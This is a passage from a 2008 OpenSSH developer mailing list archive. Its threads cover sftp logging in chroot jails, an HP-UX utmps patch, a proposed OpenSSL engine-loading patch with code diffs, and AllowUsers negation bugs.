From gagnocg at mac.com Thu May 1 08:35:35 2008 From: gagnocg at mac.com (Chuck Gagnon) Date: Wed, 30 Apr 2008 17:35:35 -0500 Subject: patch to add utmps support for HP-UX 11.23 and above In-Reply-To: <200E9CCA-5B85-45A1-93B6-4D9B54D36B89@mac.com> References: <200E9CCA-5B85-45A1-93B6-4D9B54D36B89@mac.com> Message-ID: <25DD4621-96D6-49A0-8C2E-9496FADA50EB@mac.com> Sorry guys, While my patch fixes logging on 11.23 there are some major issues when building on 11.31 (basically it builds fine and while all the client code works as expected sshd just hangs on connects waiting for communication it never sees). Since I'm not happy with the way I did the first patch (works fine but does not match the rest of the [uw]tmp code well enough for me, please hold off even looking until I get back with an over all 11.23 & 11.31 patch. I do have the utmps code all inline with the rest already but since 11.31 still is DOA I want to incorporate that fix in and just make it an overall HP-UX patch (I will test on 11.00, 11.11, 11.23 and 11.31 which is all the versions I have access to). Sorry for the noise. On Apr 26, 2008, at 7:09 PM, Chuck Gagnon wrote: > Starting with 11.23 HP is using utmps as if we didn't already have > enough (utmp, wtmp, utmpx, wtmpx,... did I miss any??) . > > Anyway, I added support for it in (before this patch no logins from > ssh were showing up on my 11.23 and 11.31 systems). > > http://homepage.mac.com/gagnocg/downloads/hpux-cvs.diff > > From lists.john at gmail.com Fri May 2 07:33:10 2008 From: lists.john at gmail.com (john) Date: Thu, 1 May 2008 14:33:10 -0700 Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with chroot environment Message-ID: <2be970b50805011433m7dfb83act876bb86d1c7a3dc5@mail.gmail.com> Hi all, I am running Debian Etch. I've compiled openssh-5.0p1 with pam support. I'd like to use a chrooted sftp environment for my users and also log their sftp file transfers. Currently file transfer logging stops working when I implement a jail. Logging from within the chroot seems like a useful feature. I hope it makes it in sooner rather than later. Here's the contents of my sshd_config: Protocol 2 SyslogFacility AUTH LogLevel VERBOSE PermitRootLogin no MaxAuthTries 3 UsePAM yes ChrootDirectory /home Subsystem sftp internal-sftp -l VERBOSE -f AUTH When I run sshd without the ChrootDirectory declaration sftp logging in /var/log/AUTH looks like: May 1 14:26:59 slocker sshd[7502]: Server listening on :: port 22. May 1 14:26:59 slocker sshd[7502]: Server listening on 0.0.0.0 port 22. May 1 14:27:05 slocker sshd[7503]: Connection from 10.1.3.233 port 60419 May 1 14:27:05 slocker sshd[7503]: Failed none for flyboy2 from 10.1.3.233 port 60419 ssh2 May 1 14:27:05 slocker sshd[7503]: Failed publickey for flyboy2 from 10.1.3.233 port 60419 ssh2 May 1 14:27:06 slocker pam_winbind[7505]: user 'flyboy2' granted access May 1 14:27:06 slocker pam_winbind[7505]: user 'flyboy2' OK May 1 14:27:06 slocker pam_winbind[7505]: user 'flyboy2' granted access May 1 14:27:06 slocker sshd[7503]: Accepted keyboard-interactive/pam for flyboy2 from 10.1.3.233 port 60419 ssh2 May 1 14:27:06 slocker sshd[7503]: (pam_unix) session opened for user flyboy2 by (uid=0) May 1 14:27:06 slocker sshd[7506]: subsystem request for sftp May 1 14:27:06 slocker internal-sftp[7507]: session opened for local user flyboy2 from [10.1.3.233] May 1 14:27:06 slocker internal-sftp[7507]: received client version 3 May 1 14:27:23 slocker internal-sftp[7507]: realpath "/home/flyboy2" May 1 14:27:23 slocker internal-sftp[7507]: stat name "/home/flyboy2" May 1 14:27:27 slocker internal-sftp[7507]: lstat name "/home/flyboy2/z.ico" May 1 14:27:27 slocker internal-sftp[7507]: stat name "/home/flyboy2/z.ico" May 1 14:27:27 slocker internal-sftp[7507]: open "/home/flyboy2/z.ico" flags READ mode 0666 May 1 14:27:27 slocker internal-sftp[7507]: close "/home/flyboy2/z.ico" bytes read 7110 written 0 May 1 14:27:31 slocker internal-sftp[7507]: open "/home/flyboy2/z.ico" flags WRITE,CREATE,TRUNCATE mode 0700 May 1 14:27:31 slocker internal-sftp[7507]: close "/home/flyboy2/z.ico" bytes read 0 written 7110 When I add the ChrootDirectory stanza the logs fail to note the same sort of file transfers: May 1 14:23:00 slocker sshd[7464]: Server listening on :: port 22. May 1 14:23:00 slocker sshd[7464]: Server listening on 0.0.0.0 port 22. May 1 14:23:12 slocker sshd[7322]: (pam_unix) session closed for user flyboy2 May 1 14:23:14 slocker sshd[7465]: Connection from 10.1.3.233 port 60819 May 1 14:23:14 slocker sshd[7465]: Failed none for flyboy2 from 10.1.3.233 port 60819 ssh2 May 1 14:23:14 slocker sshd[7465]: Failed publickey for flyboy2 from 10.1.3.233 port 60819 ssh2 May 1 14:23:16 slocker pam_winbind[7467]: user 'flyboy2' granted access May 1 14:23:16 slocker pam_winbind[7467]: user 'flyboy2' OK May 1 14:23:16 slocker pam_winbind[7467]: user 'flyboy2' granted access May 1 14:23:16 slocker sshd[7465]: Accepted keyboard-interactive/pam for flyboy2 from 10.1.3.233 port 60819 ssh2 May 1 14:23:16 slocker sshd[7465]: (pam_unix) session opened for user flyboy2 by (uid=0) May 1 14:23:16 slocker sshd[7468]: Changed root directory to "/home" Thanks! John From djm at mindrot.org Sat May 3 07:40:24 2008 From: djm at mindrot.org (Damien Miller) Date: Sat, 3 May 2008 07:40:24 +1000 (EST) Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with chroot environment In-Reply-To: <2be970b50805011433m7dfb83act876bb86d1c7a3dc5@mail.gmail.com> References: <2be970b50805011433m7dfb83act876bb86d1c7a3dc5@mail.gmail.com> Message-ID: On Thu, 1 May 2008, john wrote: > Hi all, > > I am running Debian Etch. I've compiled openssh-5.0p1 with pam > support. I'd like to use a chrooted sftp environment for my users and > also log their sftp file transfers. Currently file transfer logging > stops working when I implement a jail. Logging from within the chroot > seems like a useful feature. I hope it makes it in sooner rather than > later. Have you tried creating a /dev directory in the chroot and arranging for syslogd to listen on /dev/log there? -d From stuge-openssh-unix-dev at cdy.org Sat May 3 07:46:24 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Fri, 2 May 2008 23:46:24 +0200 Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with chroot environment In-Reply-To: References: <2be970b50805011433m7dfb83act876bb86d1c7a3dc5@mail.gmail.com> Message-ID: <20080502214624.23896.qmail@cdy.org> On Sat, May 03, 2008 at 07:40:24AM +1000, Damien Miller wrote: > > Logging from within the chroot seems like a useful feature. > > Have you tried creating a /dev directory in the chroot and arranging > for syslogd to listen on /dev/log there? It would be very neat to have a completely clean chroot. Does the internal sftp-server inherit any fd:s from it's parent? //Peter From lists.john at gmail.com Sat May 3 10:01:52 2008 From: lists.john at gmail.com (john) Date: Fri, 2 May 2008 17:01:52 -0700 Subject: https://bugzilla.mindrot.org seems to be down Message-ID: <2be970b50805021701n634ff325td0ee55374b22019f@mail.gmail.com> Hi all, Perhaps this is an obvious one but https://bugzilla.mindrot.org seems to have been down for several days. I sent an email yesterday to the webmaster address, so I thought I'd toss something out here as well. Thanks, John From lists.john at gmail.com Sun May 4 04:59:43 2008 From: lists.john at gmail.com (john) Date: Sat, 3 May 2008 11:59:43 -0700 Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with chroot environment In-Reply-To: References: <2be970b50805011433m7dfb83act876bb86d1c7a3dc5@mail.gmail.com> Message-ID: <2be970b50805031159n3637ee29wcad25954dbceaa25@mail.gmail.com> On Fri, May 2, 2008 at 2:40 PM, Damien Miller wrote: > On Thu, 1 May 2008, john wrote: > > > Hi all, > > > > I am running Debian Etch. I've compiled openssh-5.0p1 with pam > > support. I'd like to use a chrooted sftp environment for my users and > > also log their sftp file transfers. Currently file transfer logging > > stops working when I implement a jail. Logging from within the chroot > > seems like a useful feature. I hope it makes it in sooner rather than > > later. > > Have you tried creating a /dev directory in the chroot and arranging > for syslogd to listen on /dev/log there? > > -d > No that doesn't seem to work for me. I think that the problem is that when there is no chroot the internal-sftp server handles logging but when I define the chroot the logging and transaction duties are handed back to sshd Without chroot: May 2 16:10:27 slocker internal-sftp[8430]: stat name "/home/flyboy2" May 2 16:10:35 slocker internal-sftp[8430]: open "/home/flyboy2/z.ico" flags WRITE,CREATE,TRUNCATE mode 0700 May 2 16:10:35 slocker internal-sftp[8430]: close "/home/flyboy2/z.ico" bytes read 0 written 7110 with chroot: May 2 16:19:20 slocker sshd[8751]: Accepted keyboard-interactive/pam for flyboy2 from 10.1.3.233 port 58861 ssh2 May 2 16:19:20 slocker sshd[8751]: (pam_unix) session opened for user flyboy2 by (uid=0) May 2 16:19:20 slocker sshd[8754]: Changed root directory to "/home" May 2 16:19:42 slocker sshd[8751]: (pam_unix) session closed for user flyboy2 sshd doesn't log the sftp transactions happening inside the chroot directory. I tried to force logging using a Subsystem declaration inside a match option but thats illegal apparently. It would be really useful to both jail and log users. For instance we have placed our students into jails by graduation year and controlled access using "MATCH Group". That works very well. It just breaks logging which is a must have for this scenario. Thanks for your replies. John From alon.barlev at gmail.com Sun May 4 15:25:20 2008 From: alon.barlev at gmail.com (Alon Bar-Lev) Date: Sun, 4 May 2008 08:25:20 +0300 Subject: OpenSSH PKCS#11merge In-Reply-To: <200805041422.10231.david.daniel.smith@gmail.com> References: <9e0cf0bf0709290108h1a4be251t5943454f1c510adc@mail.gmail.com> <20080226071223.21047.qmail@cdy.org> <9e0cf0bf0802252335w20c1540an8cf92a651280d5d1@mail.gmail.com> <200805041422.10231.david.daniel.smith@gmail.com> Message-ID: <9e0cf0bf0805032225v21694323q29bf331266905fdc@mail.gmail.com> Hi! Actually yes first rejects were sent and fixed [1]. Waiting for next pass. Alon. [1] https://bugzilla.mindrot.org/show_bug.cgi?id=1371 On 5/4/08, David Smith wrote: > Ping. It's been a while but any progress on this? > > 2008/02/26 (Tue) 16:35:37 ? Alon Bar-Lev ????????: > > > On 2/26/08, Peter Stuge wrote: > > > Just a note to say that I've pushed the question to a friend of mine > > > who knows OBSD hardware crypto people. > > > > Thanks! > > Is there anything I can do to push this further? > > Is something missing? Need some more information? > > > > Alon. > > > _______________________________________________ > > openssh-unix-dev mailing list > > openssh-unix-dev at mindrot.org > > https://lists.mindrot.org/mailman/listinfo/openssh-unix-dev > > > > > -- > man perl | tail -6 | head -2 > > From stuge-openssh-unix-dev at cdy.org Sun May 4 20:17:54 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Sun, 4 May 2008 12:17:54 +0200 Subject: OpenSSH PKCS#11merge In-Reply-To: <9e0cf0bf0805032225v21694323q29bf331266905fdc@mail.gmail.com> References: <9e0cf0bf0709290108h1a4be251t5943454f1c510adc@mail.gmail.com> <20080226071223.21047.qmail@cdy.org> <9e0cf0bf0802252335w20c1540an8cf92a651280d5d1@mail.gmail.com> <200805041422.10231.david.daniel.smith@gmail.com> <9e0cf0bf0805032225v21694323q29bf331266905fdc@mail.gmail.com> Message-ID: <20080504101754.29257.qmail@cdy.org> On Sun, May 04, 2008 at 08:25:20AM +0300, Alon Bar-Lev wrote: > Actually yes first rejects were sent and fixed [1]. Good comments. Damien, my take on this is that as much as possible (everything) should go into upstream OpenSSH. PKCS#11 should be nothing special for -portable. //Peter From lists.john at gmail.com Mon May 5 03:30:29 2008 From: lists.john at gmail.com (john) Date: Sun, 4 May 2008 10:30:29 -0700 Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with chroot environment In-Reply-To: References: <2be970b50805031159n3637ee29wcad25954dbceaa25@mail.gmail.com> Message-ID: <2be970b50805041030o7c019129u12d27795473f86c0@mail.gmail.com> > > > Have you tried creating a /dev directory in the chroot and arranging > > > for syslogd to listen on /dev/log there? > > > > > > -d > > > > > > > No that doesn't seem to work for me. > > > What exact steps have you taken to accomplish what Damien proposed? > -- > > Sincerely Your, Dan. > > Yes sorry Dan, I should have been specific. I created a file in my chroot root called /home/dev/auth.log Then I edited syslogd to write auth log to that location and restarted syslogd. I commented out my chroot in sshd_config and confirmed that sftp file transactions were being logged in /home/dev/auth.log Then I uncommentd the chroot diretive and restarted sshd. Although my sftp sessions were correctly chroot'd file transfers were no longer logged. John From stuge-openssh-unix-dev at cdy.org Mon May 5 03:46:09 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Sun, 4 May 2008 19:46:09 +0200 Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with chroot environment In-Reply-To: <2be970b50805041030o7c019129u12d27795473f86c0@mail.gmail.com> References: <2be970b50805031159n3637ee29wcad25954dbceaa25@mail.gmail.com> <2be970b50805041030o7c019129u12d27795473f86c0@mail.gmail.com> Message-ID: <20080504174609.4974.qmail@cdy.org> On Sun, May 04, 2008 at 10:30:29AM -0700, john wrote: > > What exact steps have you taken to accomplish what Damien proposed? > > Yes sorry Dan, I should have been specific. > > I created a file in my chroot root called /home/dev/auth.log > > Then I edited syslogd to write auth log to that location and > restarted syslogd. Aha. No, it has to be the other way around. Create a /home/dev/log pipe/socket and make syslogd listen there in addition to the regular /dev/log > I commented out my chroot in sshd_config and confirmed that sftp > file transactions were being logged in /home/dev/auth.log The log file itself can and should probably not be inside the chroot. //Peter From dan at nf15.lightwave.net.ru Mon May 5 05:00:23 2008 From: dan at nf15.lightwave.net.ru (Dan Yefimov) Date: Sun, 4 May 2008 23:00:23 +0400 (MSD) Subject: openssh-5.0p1: sftp transfer logging doesn't appear to work with chroot environment In-Reply-To: <2be970b50805041030o7c019129u12d27795473f86c0@mail.gmail.com> Message-ID: On Sun, 4 May 2008, john wrote: > > What exact steps have you taken to accomplish what Damien proposed? > > Yes sorry Dan, I should have been specific. > > I created a file in my chroot root called /home/dev/auth.log > > Then I edited syslogd to write auth log to that location and restarted syslogd. > It was wrong yet from this point. You should have created directory named 'dev' located right in your chroot directory. No syslogd.conf editing was necessary. After that you should have reloaded your syslogd with additional '-a /dev/log' parameter. And that's all! -- Sincerely Your, Dan. From richard.mccue at hp.com Wed May 7 11:44:01 2008 From: richard.mccue at hp.com (Mccue, Richard Alan) Date: Wed, 7 May 2008 01:44:01 +0000 Subject: Request for generic engine support Message-ID: <3F2300644ACFB04A8E352CCC815DA49D080CD676BE@G6W0269.americas.hpqcorp.net> Hello, Would it be possible to add generic engine support to OpenSSH? One use in particular would be to support TCP forwarding for secure mail server connections and similar applications. This would permit an administrator to configure in an arbitrary external engine to establish a secure RSA-based tunnel. OpenSSH would need no information built into it to accomodate any particular engine. One approach to this would be that taken by Stunnel (http://www.stunnel.org/). Stunnel first loads the internal engine 'dynamic'. It then uses ENGINE_load_builtin_engines(), but I think ENGINE_load_dynamic() would be more efficient. Next a series of ENGINE_ctrl_cmd_string() and other engine(1) calls are used to locate, name, load and initialize an external engine. IMHO, they did a very nice job of achieving a highly versatile implementation. It was easy to configure in the particular engine I use. Another approach would be to take advantage of the OpenSSL config(5) configuration file mechanism. I don't know of any good examples of this out on the web, but I coded up an implementation that works fine with OpenSSL 0.9.7 or 0.9.8 distributions on HP-UX, see following. I should also mention the Stunnel approach works fine with 0.9.7 or 0.9.8 OpenSSL. I only coded this for sshd, but it would be very much the same for ssh. This takes fewer config file directives and is less difficult to implement than the stunnel approach, but does introduce the additional OpenSSL configuration file. Regards, Rich HP-UX Security ======================================== Code changes for an engine-enabled sshd. ======================================== In this example, CONF_modules_load_file(3) is used to implement engine loading into sshd. This will require three additional configuration parameters to be parsed, as well as the introduction of an OpenSSL CONF-formatted file for the directives, see config(5) for format details. ================================================ Added to sshd_config for generic engine loading: ------------------------------------------------ # Identify the RSA key to be loaded by the engine EngineHostKey /usr/local/etc/enginekeyblob # Give location of the OpenSSL CONF file EngineConfigFile /usr/local/etc/server.cnf # Identify section for engine directives within the engine CONF file EngineConfigStanza server_conf ---------------------------------------------------------- =============================================== A typical OpenSSL CONF file for loading an external engine --------------------------------------------- # Filename: /usr/local/etc/server.cnf server_conf = server_def [ server_def ] engines = server_engines [ server_engines ] myengine = engine_section [ engine_section ] # Rename the engine to whatever, if necessary engine_id = myengine # external engine location dynamic_path = /opt/openssl/lib/hpux32/engines/libmyengine.so #default_algorithms = RAND,RSA default_algorithms = ALL # Load and initialize the engine init = 1 ---------------------------------- =========================================== Add to 'struct ServerOptions' in servconf.h: -------------------------------------------- 50a68,71 > int engineindex; /*engine index in host_key_files */ > char *engconffile; /*engine config information */ > char *engconfstanza; /* engine config stanza */ > -------------------------------------------- =================== Add to servconf.c: -------------------------------------------- 74a67,69 > options->engineindex = -1; > options->engconffile = NULL; > options->engconfstanza = NULL; 188a193,200 > if (options->engineindex != -1) { > /* Set defaults for configuring an OpenSSL engine */ > if (options->engconffile == NULL) > options->engconffile = _PATH_OPENSSL_CONFIG; > > if (options->engconfstanza == NULL) > options->engconfstanza = OPENSSL_STANZA; > } 409a471,473 > { "enginehostkey", sEngineHostKey, SSHCFG_GLOBAL }, > { "engineconfigfile", sEngineConfigFile, SSHCFG_GLOBAL }, > { "engineconfigstanza", sEngineConfigStanza, SSHCFG_GLOBAL }, 915a995,1021 > case sEngineHostKey: > if (options->engineindex != -1) { > fatal("%s line %d: One engine key allowed", > filename, linenum); > } > options->engineindex = options->num_host_key_files; > intptr = &options->num_host_key_files; > if (*intptr >= MAX_HOSTKEYS) > fatal("%s line %d: too many keys (max %d).", > filename, linenum, MAX_HOSTKEYS); > charptr = &options->host_key_files[*intptr]; > goto parse_filename; > > case sEngineConfigFile: > /* default set in fill_default_server_options */ > charptr = &options->engconffile; > goto parse_filename; > > case sEngineConfigStanza: > /* default set in fill_default_server_options */ > charptr = &options->engconfstanza; > arg = strdelim(&cp); > if (!arg || *arg == '\0') > fatal("%s line %d: missing stanza", > filename, linenum); > break; > --------------------------------------------- ============================================= key_load_engine_private() added to authfile.c: --------------------------------------------- 48a49,50 > #include > #include 611a614,679 > return prv; > } > > /* Arguments passphrase and commentp are not used */ > Key * > key_load_engine_private(char *engkey, const char *conffile, > const char* stanza, const char *passphrase, char **commentp) > { > ENGINE *eng = NULL; > EVP_PKEY *pk = NULL; > Key *prv = NULL; > char *name = ""; > > // Load the OpenSSL internal engine called 'dynamic' > ENGINE_load_dynamic(); > > // Add the OpenSSL ENGINE configuration module > OPENSSL_load_builtin_modules(); > > // Identify the file and stanza for engine directives > if (CONF_modules_load_file(conffile, stanza, 0) <= 0) { > ERR_print_errors_fp(stderr); > error("Auto configuration failed"); > goto finish; > } > > // Fetch the external engine handle > eng = ENGINE_get_last(); > if (!eng) { > /* the engine isn't available */ > ERR_print_errors_fp(stderr); > error("ENGINE_get_last failed."); > goto finish; > } > > // Fetch and store the private key through the engine > pk = ENGINE_load_private_key(eng, engkey, NULL, (void *)passphrase); > if (pk == NULL) { > ERR_print_errors_fp(stderr); > debug("ENGINE_load_private_key failed"); > (void)ERR_get_error(); > goto finish; > } else if (pk->type == EVP_PKEY_RSA) { > prv = key_new(KEY_UNSPEC); > prv->rsa = EVP_PKEY_get1_RSA(pk); > prv->type = KEY_RSA; > name = "rsa w/o comment"; > #ifdef DEBUG_PK > RSA_print_fp(stderr, prv->rsa, 8); > #endif > if (RSA_blinding_on(prv->rsa, NULL) != 1) { > ERR_print_errors_fp(stderr); > error("key_load_eng_prv: RSA_blinding failed"); > key_free(prv); > prv = NULL; > } > } else { > error("key_load_engine_private: key type wrong"); > } > > finish: if (pk != NULL) > EVP_PKEY_free(pk); > if (prv != NULL && commentp) > *commentp = xstrdup(name); > debug("key_load_engine_private() done: type %s", > prv ? key_type(prv) : ""); ------------------------------------------------- ================================================== Call to key_load_engine_private() added to sshd.c: -------------------------------------------------- 1521a1546,1551 > if (i == options.engineindex) { > /* Multiple RSA2 keys allowed, but only one used */ > key = key_load_engine_private(options.host_key_files[i], > options.engconffile, options.engconfstanza, NULL, NULL); > debug("engine key load attempted, index: #%d", i); > } else { 1522a1553 > } ------------------------------------------------- From stuge-openssh-unix-dev at cdy.org Thu May 8 03:29:42 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Wed, 7 May 2008 19:29:42 +0200 Subject: Request for generic engine support In-Reply-To: <3F2300644ACFB04A8E352CCC815DA49D080CD676BE@G6W0269.americas.hpqcorp.net> References: <3F2300644ACFB04A8E352CCC815DA49D080CD676BE@G6W0269.americas.hpqcorp.net> Message-ID: <20080507172942.8898.qmail@cdy.org> On Wed, May 07, 2008 at 01:44:01AM +0000, Mccue, Richard Alan wrote: > Would it be possible to add generic engine support to OpenSSH? Hm. > One use in particular would be to support TCP forwarding for secure > mail server connections and similar applications. Sorry, can you please clarify this a bit? I already use OpenSSH to secure TCP connections through -L and -R. > Another approach would be to take advantage of the OpenSSL > config(5) configuration file mechanism. How do you feel about PKCS#11 ? //Peter From gaowenk at yahoo.com.cn Thu May 8 20:15:04 2008 From: gaowenk at yahoo.com.cn (wenk-yahoo) Date: Thu, 8 May 2008 18:15:04 +0800 Subject: How can I support ssh; also at the same time, designate the commands can be found and executed? Message-ID: <200805081815007200048@yahoo.com.cn> Now I'm developing a embedded device program.I want to provide SSH for the users. I also want to limit users to browse and execute only my commamds . Such as export/ls/find/cat/ fdisk/cd/rm/top/su etc., are forbidded[especially 'export ']. It looks like: root at fedora8 /#ssh 192.168.0.6 then: CLI> CLI>allcmds adduser deleteuser sessionlist sessionkill allcmds.....//all commands are provided by me. 2008-05-08 wenk-yahoo From stuge-openssh-unix-dev at cdy.org Thu May 8 22:39:15 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Thu, 8 May 2008 14:39:15 +0200 Subject: How can I support ssh; also at the same time, designate the commands can be found and executed? In-Reply-To: <200805081815007200048@yahoo.com.cn> References: <200805081815007200048@yahoo.com.cn> Message-ID: <20080508123915.6770.qmail@cdy.org> On Thu, May 08, 2008 at 06:15:04PM +0800, wenk-yahoo wrote: > I also want to limit users to browse and execute only my commamds . To limit file browsing you could disable the SFTP subsystem completely in sshd_config (comment out the line) or you could use a chroot directory for users, along with the sftp-internal subsystem introduced in 4.8p1. This directory would only contain the files that users are allowed to access. > root at fedora8 /#ssh 192.168.0.6 > > then: > > CLI> > CLI>allcmds > > adduser deleteuser sessionlist sessionkill allcmds.....//all commands are provided by me. This is probably easiest done by creating a custom shell. //Peter From richard.mccue at hp.com Fri May 9 12:36:00 2008 From: richard.mccue at hp.com (Mccue, Richard Alan) Date: Fri, 9 May 2008 02:36:00 +0000 Subject: Request for generic engine support Message-ID: <3F2300644ACFB04A8E352CCC815DA49D080CDDA1A3@G6W0269.americas.hpqcorp.net> Hello Peter, >> One use in particular would be to support TCP forwarding for secure >> mail server connections and similar applications. > Sorry, can you please clarify this a bit? > I already use OpenSSH to secure TCP connections through -L and -R. An OpenSSL engine provides replacement routines to modify OpenSSL functions. For instance, RSA_private_decrypt() can be modified with a replacement function that channels execution to a hardware device. This is useful if the hardware device provides some additional security beyond that of the default SSLeay routines. The engine I use employs a device that is exclusively able to encrypt/decrypt with private RSA keys that it encrypts in stored files. The keys can't be extracted in unencrypted form from the device. If I configure sshd to load the engine at startup then the engine replaces rsa_priv_dec(). Then sshd on my mail server will always decrypt signatures with a private key loaded into the device. A client uses "ssh -L ......." to request the connection as it would without the engine, and need not be aware ofthe engine on the server side. The same holds true on the server side - if ssh were modified to load an engine, the server side would not be able to tell. Form or use of the public keys is not affected by the device encrypting the private keys. For a process to use an engine, only its initialization code is modified. Using the engine after it is loaded, like for a server that repeatedly establishes RSA sessions, is entirely transparent since the RSA functions have been modified by the engine. Since the configuration keywords for the engine are all optional, ssh or sshd are not affected by the engine enablement code. For comparison, Stunnel has an implementation that uses directives in a config file to identify and load an engine: ----------- engine=dynamic engineCtrl=SO_PATH:/usr/lib/openssl/libxyz.so engineCtrl=ID:xyz engineCtrl=LIST_ADD:2 engineCtrl=LOAD engineCtrl=INIT ---------- Stunnel seems to be similar to OpenSSH in its capacity to act as an encryption proxy for applications that cannot establish RSA-based sessions on there own. So it might be useful for OpenSSH to have this capability also. I have no idea as to what the current level of interest would be. >> Another approach would be to take advantage of the OpenSSL >> config(5) configuration file mechanism. > How do you feel about PKCS#11 ? I'm not sure the device I'm working with fits well with the PKCS#11 token interface. The device is a little more complicated than a smartcard. It can handle multiple private keys. If a dozen apps all have different private RSA keys, each app can load its key separately and have the device encrypt/decrypt with it. PKCS#11 is on my list of things to investigate more deeply. Maybe later this year I'll understand PKCS#11 a little better. Thanks for your consideration. regards, Rich From andyb1 at andy-t.org Fri May 9 14:42:23 2008 From: andyb1 at andy-t.org (Andy Tsouladze) Date: Thu, 8 May 2008 23:42:23 -0500 (CDT) Subject: Problem, possibly bug with AllowUsers & DenyUsers Message-ID: Hi there, I have just compiled openssh-5.0 on Solaris 10, and am trying to set up a certain pattern of user access control. Essentially, regular users should be able to login from any network, while root should be able to login only from a private network 192.168.88.0/22. Actually, for the purpose of sshd_config, this is four networks, but that's another story... Here is what I tried: DenyUsers root@!192.168.88.* Result: root can login from anywhere while I expected it to be allowed only from 192.168.88.0/24 So I ran a number of tests to see which will work correctly. DenyUsers root at 192.168.88.40 # I used this client Result: GOOD. root access denied from 192.168.88.40, allowed from other places. DenyUsers root at 192.168.88.* Result: GOOD. root access denied from 192.168.88.0/24, allowed from other places. DenyUsers root@!192.168.88.44 Result: BAD. root can login from 192.168.88.40, or anywhere else So it seems the negation does not work. Continued tests: AllowUsers root at 192.168.88.* Result: GOOD. root can login only from 192.168.88.0/24. AllowUsers root@!192.168.88.44 Result: BAD. root cannot login from anywhere. In fact, no one can. AllowUsers root@!192.168.88.* Result: BAD. root cannot login from anywhere. In fact, no one can. AllowUsers root at 192.168.88.* !root@* Result: BAD. root can login only from 192.168.88.0/24 but other users cannot login at all. AllowUsers !root@* Result: BAD. No one can login from anywhere AllowUsers !root Result: BAD. No one can login from anywhere Conclusion: Negation (!) does not work for either `user' or `address'. Am I doing something wrong, or is this truly broken? If more information is needed, I will be happy to provide it. Regards, Andy Dr Andy Tsouladze Sr Unix SysAdmin/System Architect United Airlines From stuge-openssh-unix-dev at cdy.org Fri May 9 14:57:13 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Fri, 9 May 2008 06:57:13 +0200 Subject: Problem, possibly bug with AllowUsers & DenyUsers In-Reply-To: References: Message-ID: <20080509045713.30595.qmail@cdy.org> On Thu, May 08, 2008 at 11:42:23PM -0500, Andy Tsouladze wrote: > Essentially, regular users should be able to login from any > network, while root should be able to login only from a private > network 192.168.88.0/22. > AllowUsers root at 192.168.88.* !root@* > Result: BAD. root can login only from 192.168.88.0/24 but other > users cannot login at all. What if you change the order and/or space to a comma? AllowUsers !root@*,root at 192.168.88.* You could also try using Match. //Peter From andyb1 at andy-t.org Fri May 9 15:25:04 2008 From: andyb1 at andy-t.org (Andy Tsouladze) Date: Fri, 9 May 2008 00:25:04 -0500 (CDT) Subject: Problem, possibly bug with AllowUsers & DenyUsers In-Reply-To: <20080509045713.30595.qmail@cdy.org> References: <20080509045713.30595.qmail@cdy.org> Message-ID: On Fri, 9 May 2008, Peter Stuge wrote: > On Thu, May 08, 2008 at 11:42:23PM -0500, Andy Tsouladze wrote: >> Essentially, regular users should be able to login from any >> network, while root should be able to login only from a private >> network 192.168.88.0/22. > >> AllowUsers root at 192.168.88.* !root@* >> Result: BAD. root can login only from 192.168.88.0/24 but other >> users cannot login at all. > > What if you change the order and/or space to a comma? > > AllowUsers !root@*,root at 192.168.88.* Tried it - does not make a difference. Besides, even AllowUsers !root@* alone does not work. I was not able to find a single instance where negation would work. > You could also try using Match. Great idea! It does seem to accomplish what I need, but I have to use multiple Match lines, like this: PermitRootLogin no Match Address 192.168.89.* PermitRootLogin yes Match Address 192.168.88.* PermitRootLogin yes ... BTW, negation does not work within Match block either... Thanks a lot, Andy Dr Andy Tsouladze Sr Unix SysAdmin/System Architect United Airlines From jad at jadickinson.co.uk Fri May 9 14:42:40 2008 From: jad at jadickinson.co.uk (John Dickinson) Date: Fri, 9 May 2008 05:42:40 +0100 Subject: Request for generic engine support In-Reply-To: <3F2300644ACFB04A8E352CCC815DA49D080CDDA1A3@G6W0269.americas.hpqcorp.net> References: <3F2300644ACFB04A8E352CCC815DA49D080CDDA1A3@G6W0269.americas.hpqcorp.net> Message-ID: <84B574C5-FF95-4478-B08F-DC7774AB1225@jadickinson.co.uk> On 9 May 2008, at 03:36, Mccue, Richard Alan wrote: > >> How do you feel about PKCS#11 ? > > I'm not sure the device I'm working with fits well with the PKCS#11 > token interface. The device is a little more complicated than a > smartcard. It can handle multiple private keys. If a dozen apps all > have different private RSA keys, each app can load its key > separately and have the device encrypt/decrypt with it. PKCS#11 is > on my list of things to investigate more deeply. Maybe later this > year I'll understand PKCS#11 a little better. Can you tell us what the device is and/or what engine you are trying to use? It sounds like an HSM - if it is then it almost certainly supports pkcs11. Using a pkcs11 enabled version of OpenSSH will most likely be easier than trying to support every different OpenSSL engine that a user might decide to use. John --- John Dickinson From stuge-openssh-unix-dev at cdy.org Fri May 9 16:08:42 2008 From: stuge-openssh-unix-dev at cdy.org (Peter Stuge) Date: Fri, 9 May 2008 08:08:42 +0200 Subject: Problem, possibly bug with AllowUsers & DenyUsers In-Reply-To: References: <20080509045713.30595.qmail@cdy.org> Message-ID: <20080509060842.14968.qmail@cdy.org> On Fri, May 09, 2008 at 12:25:04AM -0500, Andy Tsouladze wrote: > > You could also try using Match. > > Great idea! It does seem to accomplish what I need, but I have to > use multiple Match lines, like this: > > PermitRootLogin no > Match Address 192.168.89.* > PermitRootLogin yes > Match Address 192.168.88.* > PermitRootLogin yes I'm sure everyone would appreciate a /size patch for addresses, though I suspect the code does simple string/pattern matching so it isn't that easy to specialcase address strings. Don't know about the negations, sorry. :\ //Peter From kannappan at tesbv.com Fri May 9 19:22:47 2008 From: kannappan at tesbv.com (kannappan) Date: Fri, 9 May 2008 14:52:47 +0530 Subject: ssh works, but sftp doesn't Message-ID: <005b01c8b1b6$42138980$8200140a@Kanslaptop> Hello All, I have built the OpenSSH provided with the "buildroot" package for ARM board. OpenSSH version is 